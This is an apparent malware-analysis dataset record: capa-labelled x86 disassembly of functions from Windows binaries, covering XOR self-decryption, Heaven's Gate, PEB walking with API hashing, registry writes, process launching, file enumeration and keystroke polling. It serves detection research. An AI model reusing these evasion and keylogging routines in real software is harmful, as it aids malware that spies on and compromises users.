joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401119
Capabilities:
Encode data using xor

Disassembly:
push 1
pop ecx
cmp dword [esp + 8], ecx
jl 0x401139
mov eax, dword [esp + 4]
mov edx, ecx
and edx, 3
mov dl, byte [esp + edx + 0xc]
xor byte [eax], dl
inc ecx
inc eax
cmp ecx, dword [esp + 8]
jle 0x401126
ret

Function at 0x404de5
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x408688
cmp edx, dword [eax]
je 0x404e07
add eax, 8
inc ecx
cmp eax, 0x408718
jl 0x404df8
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x408688]
jne 0x404f35
mov eax, dword [0x408a48]
cmp eax, 1
je 0x404f0f
test eax, eax
jne 0x404e38
cmp dword [0x4085d4], 1
je 0x404f0f
cmp edx, 0xfc
je 0x404f35
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x404e6f
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004032f0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004033f0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x404eb2
lea eax, [ebp - 0x1a4]
push eax
call fcn.004033f0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4065d0
push edi
call fcn.00405720
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004032f0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00403300
lea eax, [ebp - 0xa0]
push 0x4065b0
push eax
call fcn.00403300
push dword [esi + 0x40868c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00403300
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00405697
add esp, 0x2c
pop edi
jmp 0x404f35
lea eax, [ebp + 8]
lea esi, [esi + 0x40868c]
push 0
push eax
push dword [esi]
call fcn.004033f0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x1000405f
Capabilities:
64-bit execution via heavens gate
Access peb ldr_data
Resolve function by hash

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
mov ecx, 0x6a4abc5b
call fcn.100041ca
test eax, eax
je 0x100041c4
mov dword [esp + 4], eax
mov ecx, 0x3cfa685d
call fcn.100041ca
test eax, eax
je 0x100041c4
mov dword [esp + 8], eax
mov ecx, eax
mov edx, 0xc9616ee
call fcn.10004232
test eax, eax
je 0x100041c4
mov dword [esp + 0xc], eax
mov edx, dword fs:[0x30]
mov edx, dword [edx + 0x18]
mov dword [esp + 0x10], edx
push 0x380
push 8
push edx
call eax
test eax, eax
je 0x100041c4
mov dword [esp + 0x14], eax
lea eax, [eax + 0xf]
and eax, 0xfffffff0
mov dword [esp], eax
lea ecx, [eax + 8]
mov dword [eax], ecx
lea ecx, [ecx + 0x1b4]
mov dword [eax + 4], ecx
lea eax, [eax + 8]
mov ecx, dword fs:[0x18]
mov edx, dword [ecx + 0x20]
mov dword [eax + 0x18], edx
mov edx, dword [ecx + 0x24]
mov dword [eax + 0x20], edx
mov ecx, dword [esp + 4]
mov dword [eax + 8], ecx
mov ecx, dword [esp + 8]
mov dword [eax], ecx
mov edx, dword [esp + 0xc]
mov dword [eax + 0xa8], edx
mov edx, dword [esp + 0x10]
mov dword [eax + 0x10], edx
push ebx
push ebp
call fcn.10004121
jmp 0x1000412b
push ebx
lea ebx, [ebx + 0x27c]
lea ebp, [eax + 0xb0]
mov ecx, dword [eax]
mov edx, dword [ebx]
test edx, edx
je 0x10004150
call fcn.10004232
mov dword [ebp], eax
lea ebx, [ebx + 4]
lea ebp, [ebp + 8]
jmp 0x1000413a
pop ebx
mov edx, dword [esp + 8]
mov edx, dword [edx]
lea ecx, [ebx + 0x25c]
mov dword [edx + 0x1a4], ecx
lea ecx, [ebx + 0x168]
mov dword [edx + 0x1a8], ecx
lea ecx, [ebx + 0x1d0]
mov dword [edx + 0x1b0], ecx
pop ebp
pop ebx
mov eax, dword [edx + 0xf0]
test eax, eax
jne 0x100041a1
mov eax, dword [edx + 0xb0]
test eax, eax
je 0x100041c4
mov ecx, dword [esp]
mov edx, dword [edx + 0x10]
push ecx
push 0
push edx
call eax
xor eax, eax
jmp 0x100041c4
xor ecx, ecx
dec ecx
lea edx, [esp + 4]
push 0
push 4
push edx
push 0x1a
push ecx
call eax
test eax, eax
js 0x10004187
mov eax, dword [esp]
mov ecx, dword [esp + 4]
jecxz 0x100041c4
jmp 0x1000431a
mov esp, ebp
pop ebp
ret
mov word [ebp - 4], fs
mov ecx, 0x2b
mov fs, cx
and esp, 0xfffffff0
push 0x33
call 0x1000432f
add dword [esp], 5
retf

Function at 0x100041ca
Capabilities:
Access peb ldr_data

Disassembly:
xor eax, eax
pushal
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov edi, ebx
mov esi, dword [ebx + 0x28]
xor eax, eax
xor edx, edx
mov ecx, dword [esi]
test cx, cx
je 0x10004217
mov al, cl
cmp al, 0x61
jb 0x100041f2
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
shr ecx, 0x10
test cx, cx
je 0x10004217
mov al, cl
cmp al, 0x61
jb 0x1000420a
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
lea esi, [esi + 4]
jmp 0x100041e3
cmp edx, dword [esp + 0x18]
je 0x10004227
mov ebx, dword [ebx]
cmp edi, dword [ebx]
jne 0x100041dc
xor eax, eax
jmp 0x1000422a
mov eax, dword [ebx + 0x10]
mov dword [esp + 0x1c], eax
popal
ret
Function at 0x10004232
Capabilities:
Resolve function by parsing pe exports

Disassembly:
xor eax, eax
pushal
mov ebx, ecx
mov eax, dword [ebx + 0x3c]
mov eax, dword [ebx + eax + 0x78]
test eax, eax
je 0x1000429f
lea esi, [ebx + eax]
test edx, 0xffff0000
je 0x100042a5
mov ecx, dword [esi + 0x18]
mov edi, dword [esi + 0x20]
lea edi, [ebx + edi]
mov ebp, dword [edi + ecx*4 - 4]
lea ebp, [ebx + ebp]
xor eax, eax
xor edx, edx
mov al, byte [ebp]
test al, al
je 0x10004276
cmp al, 0x61
jb 0x1000426e
sub al, 0x20
ror edx, 0xd
add edx, eax
inc ebp
jmp 0x10004261
cmp edx, dword [esp + 0x14]
je 0x10004283
dec ecx
jne 0x10004256
xor eax, eax
jmp 0x1000429f
mov edx, dword [esi + 0x24]
lea edx, [ebx + edx]
mov edx, dword [edx + ecx*2 - 2]
and edx, 0xffff
mov eax, dword [esi + 0x1c]
lea eax, [ebx + eax]
mov eax, dword [eax + edx*4]
lea eax, [ebx + eax]
mov dword [esp + 0x1c], eax
popal
ret
mov ecx, dword [esi + 0x10]
cmp edx, ecx
jb 0x100042ba
mov eax, dword [esi + 0x14]
dec eax
cmp edx, eax
ja 0x100042ba
sub edx, ecx
mov ecx, edx
jmp 0x10004283
xor eax, eax
jmp 0x1000429f

Function at 0x10005c04
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [0x1047b288]
mov dword [ebp - 8], eax
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x10005c3f
add dword [esp], 5
retf
Function at 0x1000b0f0
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x50
push ebp
lea eax, [esp + 0x28]
push edi
push eax
call fcn.1000b2a0
mov ecx, dword [esp + 0x5c]
xor edx, edx
xor ebp, ebp
mov dword [esp + 0xc], 1
mov edi, dword [ecx]
mov dword [esp + 0x10], 8
mov dword [esp + 0x14], 2
mov dword [esp + 0x18], 4
mov dx, word [edi + 0x14]
cmp word [edi + 6], bp
mov dword [esp + 0x1c], 0x10
mov dword [esp + 0x20], 0x80
mov dword [esp + 0x24], 0x20
mov dword [esp + 0x28], 0x40
lea eax, [edx + edi + 0x18]
jbe 0x1000b1ee
push ebx
push esi
lea ebx, [eax + 0x24]
mov eax, dword [ebx]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x1000b191
mov eax, dword [ebx - 0x14]
mov ecx, dword [ebx - 0x1c]
push 0x4000
push eax
push ecx
call dword [esp + 0x4c]
jmp 0x1000b1d4
lea edx, [edx + ecx*2]
test eax, 0x4000000
lea ecx, [esi + edx*2]
mov esi, dword [esp + ecx*4 + 0x14]
je 0x1000b1a8
or esi, 0x200
mov edx, dword [ebx - 0x14]
mov ecx, edx
test ecx, ecx
jne 0x1000b1c3
test al, 0x40
je 0x1000b1ba
mov ecx, dword [edi + 0x20]
jmp 0x1000b1c1
test al, 0x80
je 0x1000b1d4
mov ecx, dword [edi + 0x24]
test ecx, ecx
jbe 0x1000b1d4
mov ecx, dword [ebx - 0x1c]
lea eax, [esp + 0x10]
push eax
push esi
push edx
push ecx
call dword [esp + 0x44]
mov edx, dword [esp + 0x64]
xor eax, eax
inc ebp
add ebx, 0x28
mov edi, dword [edx]
mov ax, word [edi + 6]
cmp ebp, eax
jl 0x1000b160
pop esi
pop ebx
pop edi
pop ebp
add esp, 0x50
ret
Function at 0x1002b844
Capabilities:
Access peb ldr_data

Disassembly:
push ecx
push ecx
and dword [esp + 4], 0
and dword [esp], 0
push ebx
push ebp
push esi
push edi
mov ebp, ecx
pushal
pushfd
xor edx, edx
mov ebx, dword fs:[edx + 0x30]
mov ecx, dword [ebx + 0xc]
lea edx, [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov dword [esp + 0x34], edx
mov dword [esp + 0x38], ecx
popfd
popal
mov edx, dword [esp + 0x14]
mov esi, dword [esp + 0x10]
cmp dword [edx + 0x18], ebp
je 0x1002b88b
mov esi, edx
mov edx, dword [edx]
cmp edx, dword [esp + 0x10]
jne 0x1002b878
xor eax, eax
jmp 0x1002b8b5
mov eax, dword [edx]
mov dword [esi], eax
mov ecx, dword [edx]
mov eax, dword [edx + 4]
mov dword [ecx + 4], eax
mov eax, dword [edx + 8]
mov dword [esi + 8], eax
mov ecx, dword [edx + 8]
mov eax, dword [edx + 0xc]
mov dword [ecx - 0x34], eax
mov eax, dword [edx + 0x10]
mov dword [esi + 0x10], eax
mov ecx, dword [edx + 0x10]
mov eax, dword [edx + 0x14]
mov dword [ecx - 0x6c], eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret

Function at 0x1002b8bc
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
push ecx
push ecx
mov eax, dword fs:[0x30]
push ebx
push ebp
push esi
mov eax, dword [eax + 0xc]
push edi
mov ecx, dword [eax + 0xc]
jmp 0x1002b930
mov eax, dword [edx + 0x3c]
mov ecx, dword [ecx]
mov esi, dword [eax + edx + 0x78]
mov dword [esp + 0x14], esi
test esi, esi
je 0x1002b930
mov ebx, dword [esi + edx + 0x20]
xor edi, edi
add ebx, edx
cmp dword [esi + edx + 0x18], edi
jbe 0x1002b930
mov ebp, dword [ebx]
xor eax, eax
add ebp, edx
mov dword [esp + 0x10], eax
lea ebx, [ebx + 4]
mov al, byte [ebp]
test al, al
je 0x1002b929
mov esi, dword [esp + 0x10]
imul esi, esi, 0x21
movsx eax, al
add esi, eax
inc ebp
mov al, byte [ebp]
test al, al
jne 0x1002b907
mov dword [esp + 0x10], esi
cmp dword [esp + 0x10], 0x77e9f7c8
mov esi, dword [esp + 0x14]
je 0x1002b940
inc edi
cmp edi, dword [esi + edx + 0x18]
jb 0x1002b8ef
mov edx, dword [ecx + 0x18]
test edx, edx
jne 0x1002b8d0
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret
mov eax, dword [esi + edx + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
jmp 0x1002b939
Function at 0x1002cda0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x100e7a50
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
mov eax, dword [esp + 0x30]
push ebp
push esi
push edi
mov ecx, dword [eax]
push ecx
lea ecx, [esp + 0x10]
call fcn.100dd0b0
mov esi, dword [esp + 0xc]
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0
xor ebp, ebp
call fcn.1002e060
mov ecx, dword [esp + 0x40]
mov byte [esp + 0x2c], 1
cmp ecx, 3
ja case.default.0x1002cdf4
jmp dword [ecx*4 + 0x1002cf5c]
mov al, byte [esi]
test al, al
je 0x1002ce22
cmp al, 0x20
je 0x1002ce0e
cmp al, 0xa1
jne 0x1002ce22
cmp byte [esi + 1], al
jne 0x1002ce22
test al, 0x80
je 0x1002ce1a
mov al, byte [esi + 1]
inc esi
test al, al
je 0x1002ce22
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x1002ce01
test ecx, ecx
je case.default.0x1002cdf4
mov dl, byte [esi]
xor ecx, ecx
test dl, dl
mov eax, esi
je case.default.0x1002cdf4
mov edi, dword [esp + 0x3c]
mov dl, byte [eax]
test dl, 0x80
je 0x1002ce68
cmp dl, 0xa1
jne 0x1002ce5c
cmp byte [eax + 1], 0xa1
jne 0x1002ce5c
test ecx, ecx
jne 0x1002ce54
mov edi, eax
mov ecx, 1
inc eax
jmp 0x1002ce7c
mov dl, byte [eax + 1]
inc eax
xor ecx, ecx
test dl, dl
je 0x1002ce96
jmp 0x1002ce7c
cmp dl, 0x20
jne 0x1002ce7a
test ecx, ecx
jne 0x1002ce73
mov edi, eax
mov ecx, 1
jmp 0x1002ce7c
xor ecx, ecx
mov dl, byte [eax + 1]
inc eax
test dl, dl
jne 0x1002ce3c
cmp ecx, 1
jne case.default.0x1002cdf4
mov dl, byte [edi]
mov ebp, edi
mov byte [esp + 0x3c], dl
mov byte [edi], 0
jmp case.default.0x1002cdf4
mov dl, byte [eax - 1]
lea edi, [eax - 1]
mov ebp, edi
mov byte [esp + 0x3c], dl
mov byte [edi], 0
jmp case.default.0x1002cdf4
mov al, byte [esi]
test al, al
je 0x1002ceee
test al, 0x80
mov byte [esp + 0x3c], al
je 0x1002ced4
mov cl, byte [esi + 1]
test cl, cl
je 0x1002ceee
cmp al, 0xa1
jne 0x1002cec4
cmp cl, al
je 0x1002ced1
mov ax, word [esi]
lea ecx, [esp + 0x10]
push eax
call fcn.1002e2f0
inc esi
jmp 0x1002cee6
cmp al, 0x20
je 0x1002cee6
mov ecx, dword [esp + 0x3c]
push ecx
lea ecx, [esp + 0x14]
call fcn.1002e330
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x1002cead
push 0
lea ecx, [esp + 0x14]
call fcn.1002e330
mov esi, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.100374e0
mov edx, dword [esp + 0x38]
add esp, 4
test ebp, ebp
mov dword [edx], eax
je 0x1002cf21
mov al, byte [esp + 0x3c]
mov byte [ebp], al
lea ecx, [esp + 0x10]
mov byte [esp + 0x2c], 0
mov dword [esp + 0x10], 0x104306e8
call fcn.1002e260
lea ecx, [esp + 0xc]
mov dword [esp + 0x2c], 0xffffffff
call fcn.100dd042
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x24
ret
Function at 0x1002dac0
Capabilities:
Access peb ldr_data
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x100e7aa8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
mov eax, dword [0x10477208]
push ebx
push esi
push edi
mov dword [esp + 0xc], eax
mov esi, dword [esp + 0x30]
mov edi, dword [esp + 0x2c]
lea ecx, [esp + 0x2c]
push esi
lea edx, [esp + 0x10]
push ecx
lea eax, [esp + 0x18]
push edx
push eax
push edi
mov dword [esp + 0x30], 0
call fcn.1002d960
add esp, 0x14
dec esi
neg esi
sbb esi, esi
mov eax, dword [esp + 0xc]
mov ebx, dword [esp + 0x24]
add esi, 3
lea edx, [esp + 0x30]
lea ecx, [esi + esi*2]
push edx
push 0x20006
push 0
lea esi, [edi + ecx*4]
mov ecx, dword [esp + 0x1c]
push eax
push ecx
mov dword [ebx], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA_1]
test eax, eax
je 0x1002db62
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x30]
push edx
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x1002dc1b
mov edx, dword [esi + 8]
push edx
call fcn.10036260
add esp, 4
test eax, eax
mov eax, dword [esi + 8]
je 0x1002dbb2
cmp eax, 0x80000301
jne 0x1002db80
mov eax, dword [esi]
jmp 0x1002db8d
push 0
push esi
push 0x7d1
call fcn.1003b920
mov edx, dword [esp + 0x2c]
lea ecx, [esp + 0x24]
push 4
push ecx
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x38]
push 4
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA_1]
test eax, eax
jne 0x1002dc10
jmp 0x1002dc0a
cmp eax, 0x80000004
jne 0x1002dbe1
mov esi, dword [esi]
or ecx, 0xffffffff
mov edi, esi
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esp + 0x30]
not ecx
push ecx
mov ecx, dword [esp + 0x30]
push esi
push 1
push eax
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA_1]
test eax, eax
jne 0x1002dc10
jmp 0x1002dc0a
cmp eax, reloc.WS2_32.dll_getpeername
jne 0x1002dc10
mov esi, dword [esi]
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x30]
mov eax, dword [esi + 4]
add esi, 8
push eax
push esi
push 3
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA_1]
test eax, eax
jne 0x1002dc10
mov dword [ebx], 1
mov eax, dword [esp + 0x30]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey_1]
lea ecx, [esp + 0xc]
mov dword [esp + 0x1c], 0xffffffff
call fcn.100dd042
mov ecx, dword [esp + 0x14]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x10031f50
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x100e7e1b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.100dcdb7
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x10031fd2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.100dac9d
mov eax, dword [eax]
push 0x1044dcc0
push eax
call fcn.100cd794
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.100dd042
test bl, bl
je 0x10031fd2
push 0x1044dcc0
lea ecx, [esp + 0xc]
call fcn.100dd3d2
push 0x1044dccc
lea ecx, [esp + 0xc]
call fcn.100dd3d2
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x1003200e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.100dd042
jmp 0x100320d9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA_1]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x10032092
lea edx, [esp + 0x7c]
push 0x1044dcc8
push edx
call fcn.100cd794
add esp, 8
test eax, eax
je 0x10032092
lea eax, [esp + 0x7c]
push 0x1044dcc4
push eax
call fcn.100cd794
add esp, 8
test eax, eax
je 0x10032092
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10032022
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.100dd042
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x100328e0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA_1]
mov esi, eax
test esi, esi
jne 0x10032942
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA_1]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey_1]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x10032950
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x100e7e9b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x10477208]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x10032a88
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x100329b6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.100dd042
xor eax, eax
jmp 0x10032aff
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.100dd17f
push esi
lea ecx, [esp + 0xc]
call fcn.100dd40e
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x10032add
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push accept
call fcn.100328e0
test eax, eax
jne 0x10032add
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA_1]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push accept
mov ecx, edi
call fcn.100328e0
test eax, eax
jne 0x10032add
lea eax, [esp + 0x14]
push 0x1044dcdc
push eax
call fcn.100ce830
mov esi, eax
add esp, 8
test esi, esi
jne 0x10032abc
lea ecx, [esp + 0x14]
push 0x1044dcd8
push ecx
call fcn.100ce7b0
mov esi, eax
add esp, 8
test esi, esi
jne 0x10032abc
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA_1]
lea esi, [esp + eax + 0x13]
jmp 0x10032abf
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.100dd12f
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x100329ce
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.100dd042
xor eax, eax
jmp 0x10032aff
mov byte [esi], 0
push 0x1044dcd4
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.100dd042
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x10041f60
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState_1]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x10041fce
cmp si, 0x69
ja 0x10041fce
add esi, 0xffd0
cmp si, 0x11
je 0x10041f9e
push 0x11
call edi
test ax, ax
jge 0x10041f9e
or esi, 0x2000
cmp si, 0x10
je 0x10041fb3
push 0x10
call edi
test ax, ax
jge 0x10041fb3
or esi, 0x4000
cmp si, 0x12
je 0x10041fc8
push 0x12
call edi
test ax, ax
jge 0x10041fc8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x10041fdb
mov esi, 0xbd
jmp 0x10041f8f
cmp si, 0x6e
jne 0x10041fe8
mov esi, 0xbe
jmp 0x10041f8f
cmp si, 0x6f
jne 0x10041f89
mov esi, 0xbf
jmp 0x10041f8f

Function at 0x10043460
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x100e8ba1
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14c
push ebp
mov ebp, dword [esp + 0x160]
push esi
push edi
push 0xffffffffffffffff
push 0
mov ecx, ebp
call fcn.100dc2a4
mov esi, dword [esp + 0x16c]
push 0xffffffffffffffff
push 0
mov ecx, esi
call fcn.100dc0f8
mov eax, dword [esp + 0x170]
lea ecx, [esp + 0xc]
push eax
call fcn.100dd0b0
lea ecx, [esp + 0xc]
push str..
lea edx, [esp + 0x18]
push ecx
push edx
mov dword [esp + 0x16c], 0
call fcn.100dd28b
mov eax, dword [eax]
lea ecx, [esp + 0x18]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea ecx, [esp + 0x14]
mov edi, eax
call fcn.100dd042
test edi, edi
je 0x100435ae
mov edx, dword [0x10477208]
mov dword [esp + 0x10], edx
cmp edi, 0xffffffff
mov byte [esp + 0x160], 1
je 0x1004359d
cmp byte [esp + 0x44], 0x2e
je 0x10043582
lea eax, [esp + 0xc]
push 0x1044e78c
lea ecx, [esp + 0x18]
push eax
push ecx
call fcn.100dd28b
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x164], 2
call fcn.100dd12f
lea ecx, [esp + 0x14]
mov byte [esp + 0x160], 1
call fcn.100dd042
lea edx, [esp + 0x44]
lea ecx, [esp + 0x10]
push edx
call fcn.100dd3d2
test byte [esp + 0x18], 0x10
mov eax, dword [esi + 8]
je 0x10043568
push 1
jmp 0x1004356a
push 0
push eax
mov ecx, esi
call fcn.100dc596
mov eax, dword [ebp + 8]
lea ecx, [esp + 0x10]
push ecx
push eax
mov ecx, ebp
call fcn.100dc419
lea edx, [esp + 0x18]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1004350e
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
lea ecx, [esp + 0x10]
mov byte [esp + 0x160], 0
call fcn.100dd042
lea ecx, [esp + 0xc]
mov dword [esp + 0x160], 0xffffffff
call fcn.100dd042
mov ecx, dword [esp + 0x158]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x158
ret